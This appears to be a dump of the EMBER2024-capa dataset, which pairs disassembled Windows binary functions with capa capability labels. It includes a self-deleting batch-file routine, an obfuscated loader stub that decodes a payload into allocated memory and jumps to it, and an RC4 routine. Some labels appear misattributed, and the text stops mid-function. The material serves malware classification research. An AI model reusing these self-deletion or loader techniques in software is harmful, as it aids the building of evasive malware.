joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409892
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x39a4
call fcn.00410620
mov eax, dword [0x417004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x18e
mov word [ebp - 0x194], ax
xor esi, esi
lea eax, [ebp - 0x192]
push esi
push eax
mov ebx, ecx
call fcn.0040fd90
xor eax, eax
mov edi, 0x7fe
push edi
mov word [ebp - 0x1194], ax
lea eax, [ebp - 0x1192]
push esi
push eax
call fcn.0040fd90
xor eax, eax
push edi
mov word [ebp - 0x994], ax
lea eax, [ebp - 0x992]
push esi
push eax
call fcn.0040fd90
xor eax, eax
push 0x27fe
mov word [ebp - 0x3994], ax
lea eax, [ebp - 0x3992]
push esi
push eax
call fcn.0040fd90
add esp, 0x30
lea eax, [ebp - 0x994]
push eax
push 0x400
mov dword [ebp - 0x399c], esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
test eax, eax
jne 0x40994f
movzx ecx, word [eax + str.C:WindowsTemp]
mov word [ebp + eax - 0x994], cx
add eax, 2
cmp cx, si
jne 0x409938
lea eax, [ebp - 0x994]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x409958
sub eax, edx
sar eax, 1
lea eax, [ebp + eax*2 - 0x994]
cmp word [eax - 2], 0x5c
jne 0x40997b
xor ecx, ecx
mov word [eax - 2], cx
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
lea eax, [ebp - 0x994]
push eax
lea eax, [ebp - 0x1194]
push str._s_sec_08x.bat
push eax
call fcn.0040af2c
push 0xa
lea eax, [ebp - 0x194]
push str.ping_127.0.0.1__n__d
push eax
call fcn.0040af2c
push ebx
lea eax, [ebp - 0x194]
push eax
push ebx
lea eax, [ebp - 0x3994]
push str._echo_off_r_nchcp_65001_r_n:start_r_nif_not_exist___s__goto_done_r_n_s_r_ndel___s___Q_r_ngoto_start_r_n:done_r_ndel___0__Q
push eax
call fcn.0040af2c
mov edi, dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
add esp, 0x30
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
lea eax, [ebp - 0x3994]
push eax
push esi
mov ebx, 0xfde9
push ebx
call edi
mov dword [ebp - 0x39a0], eax
cmp eax, esi
je 0x409a84
push eax
call fcn.0040ae5e
pop ecx
push esi
push esi
push dword [ebp - 0x39a0]
mov dword [ebp - 0x3998], eax
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x3994]
push eax
push esi
push ebx
call edi
cmp eax, esi
je 0x409a70
lea ecx, [ebp - 0x39a4]
push ecx
push eax
push dword [ebp - 0x3998]
lea eax, [ebp - 0x1194]
push eax
call fcn.004019ed
add esp, 0x10
test eax, eax
je 0x409a70
push esi
push esi
push esi
lea eax, [ebp - 0x1194]
push eax
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x409a66
lea eax, [ebp - 0x1194]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
jmp 0x409a70
mov dword [ebp - 0x399c], 1
cmp dword [ebp - 0x3998], esi
je 0x409a84
push dword [ebp - 0x3998]
call fcn.0040aef2
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x399c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ad48
leave
ret
Function at 0x409dbb
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
mov eax, dword [0x417004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0x808], ax
lea eax, [ebp - 0x806]
push eax
call fcn.0040fd90
add esp, 0xc
xor eax, eax
movzx ecx, word [eax + str.C:ProgramDataMicrosoftSoftwareBackupInfo]
mov word [eax + 0x52a008], cx
add eax, 2
test cx, cx
jne 0x409def
mov esi, 0x52a008
push esi
call fcn.004018ee
pop ecx
test eax, eax
jne 0x409e93
call fcn.00401a5f
test eax, eax
jne 0x409e93
lea eax, [ebp - 0x808]
push eax
push 0x400
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
test eax, eax
jne 0x409e3b
xor eax, eax
jmp 0x409ecf
lea eax, [ebp - 0x808]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409e44
sub eax, edx
sar eax, 1
lea eax, [ebp + eax*2 - 0x808]
cmp word [eax - 2], 0x5c
jne 0x409e67
xor ecx, ecx
mov word [eax - 2], cx
lea eax, [ebp - 0x808]
push eax
push str._sMicrosoftSoftwareBackupInfo
push esi
call fcn.0040af2c
add esp, 0xc
push esi
call fcn.004018ee
pop ecx
test eax, eax
jne 0x409e93
push 2
call fcn.00401a37
pop ecx
test eax, eax
je 0x409e34
push esi
push str._slog.txt
push 0x52a808
call fcn.0040af2c
add esp, 0xc
push esi
push str._sBack
push 0x52b008
call fcn.0040af2c
add esp, 0xc
push esi
push str._sStorage
push 0x52b808
call fcn.0040af2c
xor eax, eax
add esp, 0xc
inc eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040ad48
leave
ret
Function at 0x40a95d
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x417004]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x30], eax
xor eax, eax
lea edi, [ebp - 0x28]
inc edx
mov dword [ebp - 0x2c], ebx
stosd dword es:[edi], eax
xor esi, esi
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x24], edx
xor edi, edi
mov dword [ecx], ebx
mov dword [ebp - 0x20], ebx
jmp 0x40a99e
xor edx, edx
inc edx
mov eax, dword [ebp - 0x20]
sub eax, ebx
je 0x40aa08
dec eax
je 0x40a9e2
dec eax
je 0x40a9d4
dec eax
jne 0x40aa14
mov edi, dword [ebp - 0x28]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], ebx
cmp edi, ebx
je 0x40a9cf
push edi
push 0x40
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x40aa8f
mov esi, dword [ebp - 0x1c]
jmp 0x40aa14
push 8
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], ebx
pop edi
lea esi, [ebp - 0x2c]
jmp 0x40aa18
mov edi, dword [ebp - 0x28]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], edx
cmp edi, ebx
je 0x40aa03
push edi
push 0x40
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov dword [ebp - 0x18], eax
cmp eax, ebx
je 0x40aa9d
mov esi, dword [ebp - 0x18]
jmp 0x40aa14
push 8
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], edx
pop edi
lea esi, [ebp - 0x2c]
cmp esi, ebx
je 0x40aa70
push edi
push ebx
push esi
call fcn.0040fd90
add esp, 0xc
push ebx
lea eax, [ebp - 0x38]
push eax
push edi
push esi
push 0xc
lea eax, [ebp - 0x14]
push eax
push 0x2d1400
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
test eax, eax
jne 0x40aa70
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xea
je 0x40aa65
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 1
je 0x40aa65
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x32
jne 0x40aa8f
push edi
push ebx
push esi
call fcn.0040fd90
add esp, 0xc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jb 0x40a99b
mov eax, dword [ebp - 0x18]
cmp eax, ebx
je 0x40aa8c
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x18], ebx
je 0x40aa9d
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_LocalFree]
cmp dword [ebp - 0x1c], ebx
je 0x40aaab
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_LocalFree]
mov ecx, dword [ebp - 8]
xor eax, eax
cmp dword [ebp - 0x24], ebx
pop edi
sete al
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ad48
leave
ret
Function at 0x40ad48
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x417004]
jne 0x40ad52
repz ret
jmp fcn.0040b510

Function at 0x40dfae
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x417004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040cd0f
and dword [ebp - 0x14], 0
cmp dword [0x418a28], 0
mov dword [ebp - 0x18], eax
jne 0x40e061
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40e109
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40e109
mov esi, dword [sym.imp.KERNEL32.DLL_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x418a28], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x418a2c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x418a30], eax
call edi
push eax
call esi
mov dword [0x418a38], eax
test eax, eax
je 0x40e061
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x418a34], eax
mov eax, dword [0x418a34]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.DLL_DecodePointer]
cmp eax, ecx
je 0x40e0ba
cmp dword [0x418a38], ecx
je 0x40e0ba
push eax
call esi
push dword [0x418a38]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40e0ba
test ebx, ebx
je 0x40e0ba
call edi
test eax, eax
je 0x40e0b1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40e0b1
test byte [ebp - 8], 1
jne 0x40e0ba
or dword [ebp + 0x10], 0x200000
jmp 0x40e0ed
mov eax, dword [0x418a2c]
cmp eax, dword [ebp - 0x18]
je 0x40e0ed
push eax
call esi
test eax, eax
je 0x40e0ed
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40e0ed
mov eax, dword [0x418a30]
cmp eax, dword [ebp - 0x18]
je 0x40e0ed
push eax
call esi
test eax, eax
je 0x40e0ed
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x418a28]
call esi
test eax, eax
je 0x40e109
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40e10b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ad48
leave
ret
Function at 0x10009dbf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x10009dce
pop dword [ebp - 0x48]
mov eax, 0x10009dce
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x8834579
sub dword [ebp - 0x58], 0xba31002e
mov dword [ebp - 0x54], 0xc05146ad
sub dword [ebp - 0x54], 0x8e1dfa68
mov dword [ebp - 0x50], 0xa5d3a839
add dword [ebp - 0x50], 0xa6789bf5
mov dword [ebp - 0x4c], 0xc8f86c3
sub dword [ebp - 0x4c], 0xc8f86c3
lea eax, [ebp - 0x58]
push eax
mov eax, 0xf1bf78e
sub eax, 0xff13676e
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xa3132a2a
sub dword [ebp - 0x58], 0x2ea0c0d4
mov dword [ebp - 0x54], 0xacfc2f3a
add dword [ebp - 0x54], 0x9470323b
mov dword [ebp - 0x50], 0x1a7e4ac6
sub dword [ebp - 0x50], 0xb70ede5a
mov dword [ebp - 0x4c], 0x1fd0b170
sub dword [ebp - 0x4c], 0x1fd0b170
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xff0b86e3
sub eax, 0xef02f6a7
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x61d95
push 0
call eax
mov ecx, 0x45f6
mov edx, eax
mov ebx, 0x100b6400
add ebx, dword [ebp - 0x48]
mov edi, 0x36df1834
add edi, 0xb3c9e843
xor dword [ebp - 0x40], 0xce6c4f19
mov esi, dword [ebx]
sub dword [ebp - 0x44], 0x591e35a7
add esi, edi
add dword [ebp - 8], ecx
mov dword [edx], esi
mov dword [ebp - 0x18], 0xa52fb4a
add edx, 0xecc18d95
sub edx, 0xecc18d91
add ebx, 4
loop 0x10009edf
add eax, 0xe960b7f1
add eax, 0x16a052ba
xor ebx, ebx
add ebx, eax
add eax, 0xe9523400
sub eax, 0xe95233fb
mov ecx, 0x4a424f0f
add ecx, 0xc5bdb0f1
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x1003292f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x10023bc9
call fcn.10022973
mov eax, dword [ebp + 0x10]
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x41c], eax
xor eax, eax
mov dword [ebp - 0x428], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x418], eax
push 0x60
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.100339be
mov edi, eax
mov dword [ebp - 0x420], edi
test edi, edi
jne 0x100329a4
push 2
mov ecx, esi
call fcn.100339be
mov edi, eax
mov dword [ebp - 0x420], eax
test edi, edi
jne 0x100329a4
call fcn.10031dc9
mov esi, eax
jmp 0x10032a78
push dword [ebp - 0x41c]
push ebx
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x100329c2
call fcn.10031dc9
jmp 0x10032a6b
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov ebx, eax
mov dword [ebp - 0x41c], ebx
test ebx, ebx
je 0x100329b8
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x424], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x100329f4
mov esi, 0x8007000e
jmp 0x10032a6d
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call sym.Mso50Win32Client.dll_Ordinal_58
jmp 0x10032a1e
mov dword [ebp - 4], 1
cmp dword [ebp - 0x418], 0
je 0x100329ed
push esi
push dword [ebp - 0x418]
push esi
push ebx
push 0
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x100329b8
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x430]
push dword [ebp - 0x418]
call sym.Mso50Win32Client.dll_Ordinal_58
mov esi, eax
test edi, edi
je 0x10032a78
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10032a91
lea ecx, [ebp - 0x418]
call fcn.10032083
lea ecx, [ebp - 0x428]
call fcn.1003150e
mov eax, esi
call fcn.10022963
ret 0x10
Function at 0x1004807d
Capabilities:
Parse credit card information

Disassembly:
push ebx
push esi
mov esi, ecx
xor cl, cl
push edi
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x100481de
push 0x29
pop edi
mov edx, 0x10000000
cmp eax, 0x7c
je 0x100481de
cmp eax, edi
jne 0x100480be
cmp dword [esi + 0x10], 0
mov eax, edi
jne 0x100481de
cmp eax, edi
jne 0x100480be
test dword [esi + 0x50], edx
je 0x100481e4
cmp eax, 0x2e
jne 0x100480d9
push 5
lea ecx, [esi + 0x24]
call sym.Mso50Win32Client.dll_Ordinal_58
mov ecx, esi
call fcn.10049c8b
jmp 0x100481c9
cmp eax, 0x5c
jne 0x1004812e
mov ecx, esi
call fcn.10049c8b
test byte [esi + 0x50], 0x80
je 0x10048122
movzx eax, word [esi + 0x48]
cmp eax, 0x62
jne 0x1004810a
push 4
lea ecx, [esi + 0x24]
call sym.Mso50Win32Client.dll_Ordinal_58
mov ecx, esi
call fcn.10049c8b
jmp 0x100481d0
cmp eax, 0x42
jne 0x10048122
push 4
lea ecx, [esi + 0x24]
call sym.Mso50Win32Client.dll_Ordinal_58
mov eax, dword [esi + 0x28]
xor dword [eax + 8], 1
jmp 0x100480fe
mov ecx, esi
call sym.Mso50Win32Client.dll_Ordinal_58
jmp 0x100481c9
cmp eax, 0x5b
jne 0x1004814e
mov ecx, esi
call fcn.10049c8b
mov ecx, esi
call fcn.1004877d
push 4
push 0x5d
mov ecx, esi
call sym.Mso50Win32Client.dll_Ordinal_58
jmp 0x100481c9
cmp eax, 0x28
jne 0x1004816f
mov ecx, esi
call fcn.10049c8b
mov ecx, esi
call fcn.1004a1aa
push 5
push edi
mov ecx, esi
mov bl, al
call sym.Mso50Win32Client.dll_Ordinal_58
jmp 0x100481c5
cmp eax, 0x5e
jne 0x1004817b
push 2
jmp 0x100480f6
cmp eax, 0x24
jne 0x10048187
push 3
jmp 0x100480f6
cmp eax, 0x2a
je 0x100481f4
cmp eax, 0x2b
je 0x100481f4
cmp eax, 0x3f
je 0x100481f4
cmp eax, 0x7b
je 0x100481f4
cmp eax, 0x7d
jne 0x100481a5
test dword [esi + 0x50], edx
je 0x100481ec
cmp eax, 0x5d
jne 0x100481af
test dword [esi + 0x50], edx
je 0x100481f0
movzx eax, word [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call sym.Mso50Win32Client.dll_Ordinal_58
mov ecx, esi
call fcn.10049c8b
mov bl, 1
test bl, bl
je 0x100481d0
mov ecx, esi
call sym.Mso50Win32Client.dll_Ordinal_58
mov eax, dword [esi + 0x4c]
mov cl, 1
cmp eax, 0xffffffff
jne 0x10048093
pop edi
pop esi
mov al, cl
pop ebx
ret
push 5
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xregex_error_enum_std::regex_constants::error_type_]
push 6
jmp 0x100481e6
push 4
jmp 0x100481e6
push 0xa
jmp 0x100481e6
Function at 0x1004807e
Capabilities:
Parse credit card information

Disassembly:
push ebx
push esi
mov esi, ecx
xor cl, cl
push edi
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x100481de
push 0x29
pop edi
mov edx, 0x10000000
cmp eax, 0x7c
je 0x100481de
cmp eax, edi
jne 0x100480be
cmp dword [esi + 0x10], 0
mov eax, edi
jne 0x100481de
cmp eax, edi
jne 0x100480be
test dword [esi + 0x50], edx
je 0x100481e4
cmp eax, 0x2e
jne 0x100480d9
push 5
lea ecx, [esi + 0x24]
call sym.Mso50Win32Client.dll_Ordinal_58
mov ecx, esi
call fcn.10049c8b
jmp 0x100481c9
cmp eax, 0x5c
jne 0x1004812e
mov ecx, esi
call fcn.10049c8b
test byte [esi + 0x50], 0x80
je 0x10048122
movzx eax, word [esi + 0x48]
cmp eax, 0x62
jne 0x1004810a
push 4
lea ecx, [esi + 0x24]
call sym.Mso50Win32Client.dll_Ordinal_58
mov ecx, esi
call fcn.10049c8b
jmp 0x100481d0
cmp eax, 0x42
jne 0x10048122
push 4
lea ecx, [esi + 0x24]
call sym.Mso50Win32Client.dll_Ordinal_58
mov eax, dword [esi + 0x28]
xor dword [eax + 8], 1
jmp 0x100480fe
mov ecx, esi
call sym.Mso50Win32Client.dll_Ordinal_58
jmp 0x100481c9
cmp eax, 0x5b
jne 0x1004814e
mov ecx, esi
call fcn.10049c8b
mov ecx, esi
call fcn.1004877d
push 4
push 0x5d
mov ecx, esi
call sym.Mso50Win32Client.dll_Ordinal_58
jmp 0x100481c9
cmp eax, 0x28
jne 0x1004816f
mov ecx, esi
call fcn.10049c8b
mov ecx, esi
call fcn.1004a1aa
push 5
push edi
mov ecx, esi
mov bl, al
call sym.Mso50Win32Client.dll_Ordinal_58
jmp 0x100481c5
cmp eax, 0x5e
jne 0x1004817b
push 2
jmp 0x100480f6
cmp eax, 0x24
jne 0x10048187
push 3
jmp 0x100480f6
cmp eax, 0x2a
je 0x100481f4
cmp eax, 0x2b
je 0x100481f4
cmp eax, 0x3f
je 0x100481f4
cmp eax, 0x7b
je 0x100481f4
cmp eax, 0x7d
jne 0x100481a5
test dword [esi + 0x50], edx
je 0x100481ec
cmp eax, 0x5d
jne 0x100481af
test dword [esi + 0x50], edx
je 0x100481f0
movzx eax, word [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call sym.Mso50Win32Client.dll_Ordinal_58
mov ecx, esi
call fcn.10049c8b
mov bl, 1
test bl, bl
je 0x100481d0
mov ecx, esi
call sym.Mso50Win32Client.dll_Ordinal_58
mov eax, dword [esi + 0x4c]
mov cl, 1
cmp eax, 0xffffffff
jne 0x10048093
pop edi
pop esi
mov al, cl
pop ebx
ret
push 5
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xregex_error_enum_std::regex_constants::error_type_]
push 6
jmp 0x100481e6
push 4
jmp 0x100481e6
push 0xa
jmp 0x100481e6
Function at 0x10003e00
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100ac9b0]
jne 0x10003e0a
repz ret
jmp fcn.10004edc

Function at 0x100060db
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.100032d5
and dword [ebp - 4], 0
cmp dword [0x100ae0cc], 0
mov ebx, eax
jne 0x1000618c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1000623d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1000623d
push eax
call fcn.10003263
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x100ae0cc], eax
call esi
push eax
call fcn.10003263
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x100ae0d0], eax
call esi
push eax
call fcn.10003263
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x100ae0d4], eax
call esi
push eax
call fcn.10003263
pop ecx
mov dword [0x100ae0dc], eax
test eax, eax
je 0x1000618c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10003263
pop ecx
mov dword [0x100ae0d8], eax
mov eax, dword [0x100ae0d8]
cmp eax, ebx
je 0x100061e4
cmp dword [0x100ae0dc], ebx
je 0x100061e4
push eax
call fcn.100032de
push dword [0x100ae0dc]
mov esi, eax
call fcn.100032de
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x100061e4
test edi, edi
je 0x100061e4
call esi
test eax, eax
je 0x100061db
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x100061db
test byte [ebp - 0xc], 1
jne 0x100061e4
or dword [ebp + 0x10], 0x200000
jmp 0x1000621d
mov eax, dword [0x100ae0d0]
cmp eax, ebx
je 0x1000621d
push eax
call fcn.100032de
pop ecx
test eax, eax
je 0x1000621d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1000621d
mov eax, dword [0x100ae0d4]
cmp eax, ebx
je 0x1000621d
push eax
call fcn.100032de
pop ecx
test eax, eax
je 0x1000621d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x100ae0cc]
call fcn.100032de
pop ecx
test eax, eax
je 0x1000623d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1000623f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10007ad0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x28
mov dword [ebp - 8], 0
mov dword [0x100ac1f4], 0xfffff6db
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov dword [0x100ac1f8], 0x2302
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x100ac1f4], 0x1e48
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
jmp 0x10007bbd
mov eax, 0x325c
mov dword [0x100ac1f8], 0x25c9
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x1c], eax
je 0x10007c75
jmp 0x10007b88
mov eax, 1
mov dword [0x100ac1f4], 0x11cb
mov dword [ebp - 0x20], eax
jmp 0x10007c95
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov edx, 0x2b1a
mov dword [0x100ac1f4], eax
mov dword [0x100ac1f8], 0x1e87
mov eax, dword [ebp - 0x10]
cmp word [eax + ecx*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
je 0x10007c01
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov dword [0x100ac1f8], eax
mov dword [ebp - 0x20], ecx
jmp 0x10007c95
mov eax, 0x325c
mov dword [0x100ac1f4], 0x26bb
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x1c], eax
je 0x10007b45
jmp 0x10007b88
mov eax, dword [ebp - 0x14]
mov ecx, 0xc4b
mov edx, dword [ebp - 0x10]
cmp word [edx + eax*2], 0
mov esi, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], ecx
je 0x10007b5c
mov eax, 0x475d
mov ecx, dword [ebp - 0x2c]
add ecx, 1
cmp ecx, 0x104
mov edx, ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], ecx
jl 0x10007bbd
jmp 0x10007b5c
mov eax, 0x1fce
mov dword [0x100ac1f8], 0x133b
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x18], 0x6f
mov dword [ebp - 0x1c], eax
jne 0x10007b88
mov eax, 0x1fce
mov dword [0x100ac1f4], 0x1cd9
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x1c], eax
jne 0x10007b88
mov eax, 0x1fce
mov dword [0x100ac1f4], 0x201e
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x14], 0x64
mov dword [ebp - 0x1c], eax
je 0x10007b1e
jmp 0x10007b88
mov eax, 0x325c
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x1c], eax
je 0x10007b9a
jmp 0x10007b88
mov eax, dword [ebp - 0x20]
add esp, 0x28
pop esi
pop ebp
ret
Function at 0x10007df0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x100ac1f8], 0x18db
mov dword [0x100ac200], 0
mov byte [0x100ac204], 0
mov edi, dword [0x100ac1f4]
add edi, 0x36e
mov dword [0x100ac1f4], edi
mov dword [0x100ac1fc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x10007f15
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x100ac208], 0
mov edi, dword [0x100ac200]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x100ac208], esi
mov dword [0x100ac1f4], 0xb0c
mov eax, esi
cdq
idiv ecx
mov dword [0x100ac200], edx
mov ecx, dword [0x100ac1f8]
add ecx, 0xffffdd3f
mov dword [0x100ac1f8], ecx
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x100ac204], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov dword [0x100ac1f4], 0x979
mov cl, byte [0x100ac204]
mov esi, dword [0x100ac200]
mov byte [ebx + esi], cl
mov esi, dword [0x100ac1fc]
add esi, 1
mov dword [0x100ac1fc], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x10007e4c
jmp 0x10007f47
xor eax, eax
mov dword [0x100ac1fc], 0
mov dword [ebp - 0x20], eax
jmp 0x10007e4c
mov eax, dword [ebp - 0x1c]
mov dword [0x100ac1f4], 0xc18
mov ecx, eax
mov dl, cl
